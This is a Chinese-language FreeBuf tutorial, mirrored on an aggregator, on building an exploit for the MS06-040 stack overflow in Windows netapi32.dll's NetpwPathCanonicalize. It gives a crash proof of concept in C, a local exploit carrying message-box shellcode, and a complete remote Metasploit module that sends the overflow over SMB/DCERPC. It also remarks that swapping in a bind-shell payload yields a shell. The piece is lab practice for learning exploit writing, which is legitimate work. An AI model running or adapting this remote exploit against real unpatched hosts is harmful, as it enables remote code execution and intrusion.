103

远程RPC溢出EXP编写实战之MS06-040

 6 years ago
source link: http://www.freebuf.com/articles/system/160301.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文原创作者:wooy0ung,本文属FreeBuf原创奖励计划,未经许可禁止转载

0x01 前言

MS06-040算是个比较老的洞了,在当年影响十分之广,基本上Microsoft大部分操作系统都受到了影响,威力不亚于17年爆出的"永恒之蓝"漏洞。漏洞成因是Windows中参与socket网络的netapi32.dll动态链接库里的一个导出函数NetpwPathCanonicalize()存在栈溢出,而且这个函数能够通过RPC远程调用。由于是栈溢出利用起来不算太复杂,正好用来实践编写metasploit的远程利用脚本。

0x02 前期准备

1. Windows XP Professional sp3(非必需,我因为VC6安装在这上面,只是用来编译POC)

2. Windows 2000 Professional sp0(其他系统版本可能需要重新调试,更高版本可能需要绕过部分安全机制)

3. Kali Linux x64(安装有metasploit framework latest)

4. 调试器:Ollydbg 1.10

5. 编译器: VC++ 6.0

6. 反编译器: IDA 6.8

7. 注意: 需要未打补丁的netapi32.dll,Windows 2000在C:\WINNT\system32目录下能找到,

或者用以下提供的dll,但远程exploit必须要带有未打补丁dll的系统。

相关下载:

链接:https://pan.baidu.com/s/1qZQ1vnY 密码:5stq

0x03 定位崩溃点

VC++ 6.0编译POC, 运行

#include"stdafx.h"
#include <windows.h>

typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);

int main()
{	
	char path[0x320];
	char can_path[0x440];
	int maxbuf=0x440;
	char prefix[0x100];
	long pathtype=44;

	HINSTANCE LibHandle;
	MYPROC Trigger;

	char dll[ ] = "./netapi32.dll";
	char VulFunc[ ] = "NetpwPathCanonicalize";
	LibHandle = LoadLibrary(dll);
	Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

	memset(path,0,sizeof(path));
	memset(path,'a',sizeof(path)-2);
	memset(prefix,0,sizeof(prefix));
	memset(prefix,'b',sizeof(prefix)-2);
	
	(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
	FreeLibrary(LibHandle);

	return 0;
}

程序崩溃掉, OD附加上去, EIP被"aaaa"填充

0x00.png

执行文件拖到OD, 单步来到call netapi32.NetpwPathCanonicalize, 再往下程序崩掉

0x01.png

跟进NetpwPathCanonicalize函数, 执行MSVCRT.wcscat, 当retn时程序再次崩溃

0x02.png

此处应该就是崩溃点, 在IDA定位到该函数

0x03.png

copy"bbbbbb..."串到栈上

0x04.png

"bbbbb..."串尾部拼接一个0x005C

0x05.png

继续拼接"aaaaa..."串, 覆盖返回地址

0x06.png

0x04 本地exploit

漏洞的成因是在prefix串的基础上拼接path串时没有长度检查,导致栈溢出。下面通过构造prefix、path串实现本地exploit。

0x07.png

观察在崩溃函数retn时, ecx指向缓冲区的开始。这样可以把shellcode布置在"bbbbbb...."串里, 用一条call/jmp ecx跳到栈上执行

// ms06_040_exp.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);

char shellcode[]=
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08"
"\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c"
"\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01"
"\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69"
"\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01"
"\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x67\x20\x20\x01\x68\x79\x30\x75"
"\x6e\x68\x20\x77\x6f\x6f\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff"
"\xd7";    // 弹框

int main()
{	
	char path[0x320];
	char can_path[0x440];
	int maxbuf=0x440;
	char prefix[0x100];
	long pathtype=44;
	
	HINSTANCE LibHandle;
	MYPROC Trigger;

	char dll[] = "./netapi32.dll";
	char VulFunc[] = "NetpwPathCanonicalize";

	LibHandle = LoadLibrary(dll);
	Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

	memset(path,0,sizeof(path));
	memset(path,0x90,sizeof(path)-2);
	memset(prefix,0,sizeof(prefix));
	memset(prefix,'a',sizeof(prefix)-2);
	memcpy(prefix,shellcode,113);

	path[0x318]=0xF9;		// call ecx,可能需要调试确定
	path[0x319]=0x52;
	path[0x31A]=0x18;
	path[0x31B]=0x75;

	(Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
	FreeLibrary(LibHandle);

	return 0;
}
0x08.png

0x05 远程exploit

很好,现在已经能够本地溢出NetpwPathCanonicalize()函数,下面我们利用metasploit提供的类库来写一份远程exp

##
# Author: wooy0ung
# Date:	2018/01/15
##

require 'msf/core'

module Metasploit3
  CachedSize = 200

  include Msf::Payload::Single

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Windows Warning Box',
      'Description'   => 'Only for Version under Windows 7',
      'Author'        => [ 'wooy0ung' ],
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Payload'       =>
        {
          'Payload' =>
           	"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08"+
		"\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c"+
		"\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01"+
		"\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69"+
		"\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01"+
		"\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x67\x20\x20\x01\x68\x79\x30\x75"+
		"\x6e\x68\x20\x77\x6f\x6f\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff"+
		"\xd7"
        }
      ))
  end

end

以上是一段弹出警告框的payload,新建一个文本贴入以上代码,保存为warning.rb。

##
# Author: wooy0ung
# Date:	2018/01/15
##

require 'msf/core'  

class Metasploit3 < Msf::Exploit::Remote  
	Rank = GoodRanking

	include Exploit::Remote::DCERPC
	include Exploit::Remote::SMB::Client

	def initialize(info = {})

		super(update_info(info,
			'Name'           =>     "MS06-040 RPC Exploit",
			'Description'    => 	'Only for Windows 2000 Professional sp0',
      		        'Author'         => 	[ 'wooy0ung' ],
			'Platform'       =>	"win",
			'DefaultOptions' =>	{'EXITFUNC' => 'thread',},
			'DefaultTarget'  => 	0,
			'Targets'        =>	[['Windows 2000 Professional sp0',  {'Ret' => [0x318 , 0x74FB62C3] }]]))

		register_options([OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),], self.class) 

	end

	def exploit

		connect()
		smb_login()

		handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188','3.0','ncacn_np',["\\#{datastore['SMBPIPE']}"])
		dcerpc_bind(handle)

		prefix = payload.encoded + make_nops(0x100 - payload.encoded.length - 2) + "\x00\x00"

		path = make_nops(0x318) + [target['Ret'][1]].pack('V') + 
		"\x04\xD0\xFD\x7F" * 5 +		# 可写地址(这里原本是崩溃函数传入的5个参数)
		"\x66\x81\xEC\x30\x04" +		# sub esp,430 (0x100 + 0x318 + 4 * 6 = 0x430 将esp指向payload起始)
		"\x8B\xC4" + 				# mov eax, esp
		"\xFF\xE4" +				# jmp esp
		"\x00\x00"				# Unicode结束符

		stub =	NDR.long(rand(0xffffffff)) +
			NDR.UnicodeConformantVaryingString('') +
			NDR.UnicodeConformantVaryingStringPreBuilt(path) +
			NDR.long(rand(250)+1) +
			NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
			NDR.long(rand(250)+1) +
			NDR.long(0)	

		begin
  			dcerpc.call(0x1f, stub, false)
			rescue Rex::Proto::DCERPC::Exceptions::NoResponse
			rescue => e
  			if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
    			  raise e
  			end
    	        end

	       handler
    	       disconnect

  	end  
end

以上则是利用脚本,保存为ms06_040.rb,主要是构造shellcode(在path做ROP,跳到prefix中执行payload),在Windows 2000下利用起来比较容易,不再作解释。

0x09.png

选择之前保存的exp和payload,设置好靶机ip,pwn~

当然,将普通弹框换成bind_shell的payload就可以拿到shell了~

0x10.png

0x06 后记

0x11.png

看了metasploit的exploits模块里MS06-040的利用脚本,发现这个洞一直影响到XP和Server 2003版本。因为主要是为了练习写metasploit框架的exp,所以就不继续延伸了。

*本文原创作者:wooy0ung,本文属FreeBuf原创奖励计划,未经许可禁止转载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK